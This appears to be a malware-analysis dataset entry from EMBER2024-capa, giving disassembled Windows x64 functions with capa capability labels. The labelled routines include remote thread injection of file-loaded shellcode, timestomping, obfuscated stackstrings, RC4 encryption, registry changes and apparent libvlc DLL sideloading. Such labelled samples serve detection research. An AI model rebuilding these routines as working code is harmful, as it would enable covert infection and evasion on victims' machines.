joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002690
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x60
and qword [r11 - 0x28], 0
and qword [r11 - 0x18], 0
lea rcx, [r11 - 0x18]
mov qword [r11 - 0x30], rcx
and qword [r11 - 0x38], 0
mov rax, r8
mov r10, rdx
mov rdi, r9
xor r8d, r8d
mov rcx, r10
xor r9d, r9d
mov rdx, rax
mov dword [rsp + 0x28], 2
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
test eax, eax
jne 0x18000271f
mov eax, dword [rsp + 0x98]
mov r9d, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret

Function at 0x18000272c
Capabilities:
Delete registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x18], 0
lea rcx, [r11 - 0x18]
mov rax, r8
mov r10, rdx
mov rdi, r9
mov qword [r11 - 0x28], rcx
mov rcx, r10
mov r9d, 2
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
test eax, eax
jne 0x180002784
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180002830
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x270
xor ebx, ebx
mov ebp, edx
xor edx, edx
lea ecx, [rbx + 2]
mov r13, r9
mov r12, r8
mov dword [rsp + 0x20], ebx
mov esi, ebx
mov dword [rsp + 0x30], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800028f0
lea rdx, [rsp + 0x30]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
cmp eax, ebx
je 0x1800028c5
lea rcx, [rsp + 0x5c]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
cmp eax, ebx
jne 0x1800028b2
mov ecx, dword [rsp + 0x38]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp eax, ebx
je 0x1800028b2
cmp dword [rsp + 0x20], ebp
je 0x1800028c1
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
jmp 0x180002883
mov esi, dword [rsp + 0x38]
cmp rdi, rbx
je 0x1800028d3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
je 0x1800028fa
mov r8d, esi
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r13], rax
cmp rax, rbx
jne 0x1800028ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1800028ff
mov ebx, 0x490
lea r11, [rsp + 0x270]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x180002c6c
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x200
mov rbx, rcx
lea rcx, [rsp + 0xf1]
xor edi, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xf0], dil
call fcn.180015710
lea r8d, [rdi + 0x60]
lea rcx, [rsp + 0x88]
xor edx, edx
call fcn.180015710
xor eax, eax
lea r8, [rsp + 0x50]
lea rdx, [0x18001d578]
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x50], WSAGetLastError
mov byte [rsp + 0x51], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x52], 0x69
mov byte [rsp + 0x53], 0x65
mov byte [rsp + 0x54], 0x78
mov byte [rsp + 0x55], 0x65
mov byte [rsp + 0x56], 0x63
mov byte [rsp + 0x57], 0x2e
mov byte [rsp + 0x58], 0x65
mov byte [rsp + 0x59], 0x78
mov byte [rsp + 0x5a], 0x65
mov byte [rsp + 0x5b], dil
mov dword [rsp + 0x80], WSAGetLastError
mov dword [rsp + 0xbc], 1
mov word [rsp + 0xc0], di
call qword [sym.imp.USER32.dll_wsprintfA]
lea r11, [rsp + 0x60]
lea rax, [rsp + 0x80]
lea rdx, [rsp + 0xf0]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], setsockopt
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, edi
jne 0x180002d82
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180002d8f
mov rdx, qword [rsp + 0x60]
mov rcx, rbx
call fcn.180002dcc
mov rcx, qword [rsp + 0x68]
mov ebx, eax
cmp rcx, rdi
je 0x180002da6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], rdi
mov rcx, qword [rsp + 0x60]
cmp rcx, rdi
je 0x180002db6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x210]
add rsp, 0x200
pop rdi
ret
Function at 0x180002dcc
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x170
mov r12, rcx
mov rdi, rdx
xor r13d, r13d
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov dword [rax + 0x18], r13d
mov byte [rsp + 0x60], r13b
call fcn.180015710
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x1b8], r13
mov byte [rsp + 0x40], WSAGetLastError
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0x62
mov byte [rsp + 0x43], 0x76
mov byte [rsp + 0x44], WSAGetLastError
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], 0x2e
mov byte [rsp + 0x47], WSAStartup
mov byte [rsp + 0x48], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x49], 0x66
mov byte [rsp + 0x4a], r13b
call fcn.180002564
lea r9, [rsp + 0x40]
lea r8, [0x180023124]
lea rdx, [0x18001d590]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rsp + 0x30], r13
lea r8d, [r13 + 1]
lea rcx, [rsp + 0x60]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x1b0], 0x1e000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002f89
mov ecx, dword [rsp + 0x1b0]
call fcn.18001216c
mov r8d, dword [rsp + 0x1b0]
lea r9, [rsp + 0x1b0]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [rsp + 0x1b0]
mov r9d, 0x3000
xor edx, edx
mov rcx, rdi
mov r8, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
cmp rax, r13
je 0x180002f89
lea rax, [rsp + 0x50]
mov r9, rbp
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, r13d
je 0x180002f89
lea rdx, [rsp + 0x1b8]
mov r9, rsi
mov r8, rdi
mov rcx, r12
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call fcn.180003094
mov ebx, eax
cmp eax, r13d
je 0x180002f91
mov qword [rsp + 0x30], r13
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x1b8], rax
cmp rax, r13
jne 0x180002f9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsp + 0x1b8]
cmp rax, r13
je 0x180002fa7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x170
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180003170
Capabilities:
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
sub rsp, 0x60
and qword [rax - 0x18], 0
and qword [rax - 0x28], 0
and qword [rax - 0x20], 0
and dword [rax + 0x20], 0
mov esi, r8d
mov rdi, rdx
xor ebx, ebx
lea rcx, [rax - 0x18]
xor r8d, r8d
lea r12d, [rbx + 1]
xor edx, edx
mov dword [rax - 0x48], 0xf0000000
mov r9d, r12d
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
cmp eax, r12d
jne 0x180003293
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8003
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
cmp eax, r12d
jne 0x180003293
mov rcx, qword [rsp + 0x48]
lea r8d, [rbx + 0x10]
xor r9d, r9d
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
cmp eax, r12d
jne 0x180003293
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov r9d, r12d
mov edx, 0x6801
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
cmp eax, r12d
jne 0x180003293
movzx ecx, word [rdi + 8]
xor r9d, r9d
xor edx, edx
lea rax, [rdi + 0x10]
mov r8d, r12d
mov dword [rsp + 0x88], ecx
test esi, esi
je 0x180003272
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
jmp 0x18000328f
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x18000329b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1800032b1
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
and qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1800032c7
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1800032d9
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r12
ret
Function at 0x1800032f4
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x370
mov rbp, r8
mov rbx, rdx
lea rcx, [rax - 0x117]
xor edx, edx
mov r8d, 0x103
mov rdi, r9
mov byte [rax - 0x118], 0
call fcn.180015710
lea rcx, [rsp + 0x48]
xor edx, edx
mov r8d, 0xfc
mov byte [rsp + 0x40], 0x78
mov byte [rsp + 0x41], WSAStartup
mov byte [rsp + 0x42], WSAGetLastError
mov byte [rsp + 0x43], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x44], WSAStartup
mov byte [rsp + 0x45], 0x65
mov byte [rsp + 0x46], WSAStartup
mov byte [rsp + 0x47], 0
call fcn.180015710
lea rcx, [rsp + 0x157]
xor edx, edx
mov r8d, 0xfd
mov byte [rsp + 0x150], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x151], WSAGetLastError
mov byte [rsp + 0x152], 0x65
mov byte [rsp + 0x153], 0x78
mov byte [rsp + 0x154], 0x65
mov byte [rsp + 0x155], 0x63
mov byte [rsp + 0x156], 0
call fcn.180015710
lea rdx, [rsp + 0x260]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbx], 4
mov rsi, rax
jne 0x180003434
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov r8, qword [rax + 8]
xor edx, edx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rdi
lea edi, [rdx + 1]
or r9d, 0xffffffff
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsi + 0x18]
lea rdx, [0x18001d5a0]
call fcn.1800123c8
test eax, eax
je 0x18000342c
mov dword [rbx], edi
jmp 0x18000349e
and dword [rbx], 0
mov dword [rbp], edi
jmp 0x18000349e
cmp dword [rbx], 2
jne 0x18000345d
mov rcx, qword [rax + 8]
lea rdx, [0x18001d5a0]
call fcn.1800123c8
test eax, eax
je 0x180003454
mov edi, 1
jmp 0x180003428
and dword [rbx], 0
and dword [rbp], 0
jmp 0x18000349e
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x260]
call fcn.1800124e0
test rax, rax
je 0x18000347c
mov dword [rbx], 3
jmp 0x18000349e
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x260]
call fcn.1800124e0
neg rax
sbb ecx, ecx
and ecx, 0xfffffffe
add ecx, 4
mov dword [rbx], ecx
lea r11, [rsp + 0x370]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800034bc
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x1a0
xor eax, eax
mov rbx, rcx
xor edi, edi
mov word [rsp + 0x70], di
mov qword [rsp + 0x72], rax
mov qword [rsp + 0x7a], rax
mov qword [r11 - 0x126], rax
lea rcx, [r11 - 0x118]
xor edx, edx
mov r8d, 0x108
mov dword [rsp + 0x8a], eax
mov word [rsp + 0x8e], ax
mov dword [r11 + 0x10], edi
call fcn.180015710
lea eax, [rdi + 0x6f]
mov word [rsp + 0x42], ax
lea eax, [rdi + 0x77]
lea r9d, [rdi + 0x66]
mov word [rsp + 0x48], ax
lea eax, [rdi + 0x72]
lea edx, [rdi + 0x65]
mov word [rsp + 0x4c], ax
lea eax, [rdi + 0x5c]
lea r8d, [rdi + 0x61]
mov word [rsp + 0x50], ax
mov word [rsp + 0x52], ax
lea eax, [rdi + 0x43]
mov word [rsp + 0x54], ax
lea r10d, [rdi + 0x74]
lea eax, [rdi + 0x69]
mov word [rsp + 0x58], ax
lea eax, [rdi + 0x6e]
lea ecx, [rdi + 0x6c]
mov word [rsp + 0x5c], ax
lea eax, [rdi + 0x73]
lea r11d, [rdi + 0x53]
mov word [rsp + 0x60], ax
lea eax, [rdi + 0x44]
mov word [rsp + 0x44], r9w
mov word [rsp + 0x30], ax
lea eax, [rdi + 0x75]
mov word [rsp + 0x4e], dx
mov word [rsp + 0x38], ax
mov word [rsp + 0x5a], dx
mov word [rsp + 0x32], dx
lea rax, [rsp + 0x1c0]
mov word [rsp + 0x34], r9w
mov word [rsp + 0x4a], r8w
mov word [rsp + 0x56], cx
mov word [rsp + 0x36], r8w
mov word [rsp + 0x3a], cx
lea r9d, [rdi + 1]
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov word [rsp + 0x40], r11w
mov word [rsp + 0x46], r10w
mov word [rsp + 0x5e], r10w
mov word [rsp + 0x62], di
mov word [rsp + 0x3c], r10w
mov word [rsp + 0x3e], di
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x180003629
lea rax, [rsp + 0x1c0]
lea r9, [rsp + 0x1b8]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
mov r8d, 0x128
mov qword [rsp + 0x20], rax
call fcn.180002628
cmp eax, edi
je 0x1800036cd
lea rax, [rsp + 0x1c0]
lea rdx, [rsp + 0x40]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, edi
jne 0x180003683
lea rax, [rsp + 0x1c0]
lea r9, [rsp + 0x1b8]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
mov r8d, 0x128
mov qword [rsp + 0x20], rax
call fcn.180002628
cmp eax, edi
je 0x1800036cd
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, str._08x
lea rcx, [rsp + 0x70]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x94]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r11d, dword [0x180023120]
lea rdx, [rsp + 0x70]
mov rcx, rbx
mov dword [rsp + 0x90], r11d
call fcn.180003724
lea r8, [rsp + 0x70]
lea rdx, [0x18001d4d8]
lea rcx, [0x180023100]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rsp + 0x94]
lea rdx, [0x18001d578]
lea rcx, [0x180023124]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r11d, dword [rsp + 0x90]
mov rbx, qword [rsp + 0x1b0]
mov dword [0x180023120], r11d
xor eax, eax
add rsp, 0x1a0
pop rdi
ret
Function at 0x180003804
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rcx, rdx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [rdi + 2], 0x3a
jne 0x18000389b
mov r12d, 0x5c
cmp word [rdi + 4], r12w
jne 0x18000389b
lea ebx, [r12 - 0x59]
movsxd rbp, eax
cmp rbx, rbp
mov rsi, rbx
jge 0x180003887
xor r13d, r13d
cmp word [rdi + rsi*2], r12w
jne 0x18000387d
xor edx, edx
mov rcx, rdi
mov word [rdi + rsi*2], r13w
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, r13d
jne 0x180003878
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18000388b
mov word [rdi + rsi*2], r12w
inc rsi
inc ebx
cmp rsi, rbp
jl 0x18000384f
xor eax, eax
jmp 0x1800038a0
movsxd rax, ebx
mov word [rdi + rax*2], r12w
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800038a0
mov eax, 3
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x1800038bc
Capabilities:
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rdi, r8
mov rbx, rdx
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], 0
call fcn.180015710
lea rdx, str._sdbgeng.dll
lea rcx, [rsp + 0x50]
mov r8, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 1]
lea rcx, [rsp + 0x50]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800039ac
lea r9, [rsp + 0x188]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x100
mov rcx, rdi
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800039ac
lea r9, [rsp + 0x188]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x180003c14
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, rcx
mov word [rcx + 0xc9], r8w
add rcx, 0x88
call qword [sym.imp.USER32.dll_wsprintfA]
and dword [rbx + 0x14c], 0
and dword [rbx + 0x1c4], 0
and dword [rbx + 0x194], 0
and dword [rbx + 0x190], 0
xor r9d, r9d
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
mov byte [rbx + 0x1c0], 1
mov byte [rbx + 0x1c1], 0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x80], rax
test rax, rax
jne 0x180003c85
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180003d08
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x18000415c]
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x78], rax
test rax, rax
je 0x180003c7a
call fcn.180002564
mov rcx, qword [rax]
mov rax, qword [rbx + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov r9d, 0x3e8
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
jbe 0x180003d03
cmp eax, 0x102
jne 0x180003cc6
mov al, byte [rbx + 0x1c0]
cmp al, 2
je 0x180003cff
cmp al, 4
jne 0x180003cc6
mov eax, 0x274d
jmp 0x180003d08
xor eax, eax
jmp 0x180003d08
mov eax, 0x4c7
add rsp, 0x40
pop rbx
ret
Function at 0x180004a38
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x580
mov rdi, rcx
mov rsi, r8
mov ebx, edx
mov ebp, 0x103
lea rcx, [rax - 0x227]
xor edx, edx
mov r8, rbp
mov byte [rax - 0x228], 0
call fcn.180015710
lea rcx, [rsp + 0x141]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x140], 0
call fcn.180015710
lea rcx, [rsp + 0x471]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x470], 0
call fcn.180015710
lea rcx, [rsp + 0x31]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x30], 0
call fcn.180015710
lea rcx, [rsp + 0x251]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x250], 0
call fcn.180015710
call fcn.180002564
mov ebp, 0x104
lea rcx, [rsp + 0x30]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x180004af7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x360]
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x18001d578]
lea rcx, [rsp + 0x140]
mov r8, rsi
test ebx, ebx
jne 0x180004b27
lea r8, str.libvlc.dll
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, str.libvlc.rtf
lea rdx, [0x18001d578]
lea rcx, [rsp + 0x470]
call qword [sym.imp.USER32.dll_wsprintfA]
call fcn.180002564
lea r8, [rsp + 0x470]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1800038bc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [rsp + 0x360]
lea rcx, [rsp + 0x250]
test ebx, ebx
je 0x180004b98
lea r9, [rsp + 0x140]
lea rdx, str.__s____s__libvlc_new__08x
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x180004ba8
lea rdx, str.__s___08x
mov r9d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
call fcn.180002564
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1800038bc
call fcn.180002564
lea r8, [rsp + 0x360]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1800038bc
lea rdx, [rsp + 0x250]
mov r8d, ebx
mov rcx, rdi
call fcn.180004d64
test eax, eax
je 0x180004c08
lea rdx, [rsp + 0x250]
mov r8d, ebx
mov rcx, rdi
call fcn.180004c24
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800050f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
sub rsp, 0x180
mov rbx, rcx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x70], 0
call fcn.180015710
lea rcx, [rsp + 0x70]
mov rdx, rbx
call qword [sym.imp.USER32.dll_wsprintfA]
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x30]
call fcn.180015710
and qword [rsp + 0x60], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x68], 0
and qword [rsp + 0x50], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
mov eax, 0x615
mov dword [rsp + 0x40], 3
mov word [rsp + 0x58], ax
call fcn.180002564
mov byte [rsp + 0x20], 0x53
mov rcx, rax
mov rax, qword [0x180024880]
mov byte [rsp + 0x21], 0x48
mov byte [rsp + 0x22], 0x46
mov byte [rsp + 0x23], 0x69
mov byte [rsp + 0x24], WSAGetLastError
mov byte [rsp + 0x25], 0x65
mov byte [rsp + 0x26], 0x4f
mov byte [rsp + 0x27], WSAStartup
mov byte [rsp + 0x28], 0x65
mov byte [rsp + 0x29], WSAStartup
mov byte [rsp + 0x2a], 0x61
mov byte [rsp + 0x2b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2c], 0x69
mov byte [rsp + 0x2d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x2e], WSAGetLastError
mov byte [rsp + 0x2f], 0x41
mov byte [rsp + 0x30], 0
test rax, rax
jne 0x1800051ed
mov rcx, qword [rcx + 0x28]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180024880], rax
test rax, rax
je 0x1800051f4
lea rcx, [rsp + 0x38]
call rax
add rsp, 0x180
pop rbx
ret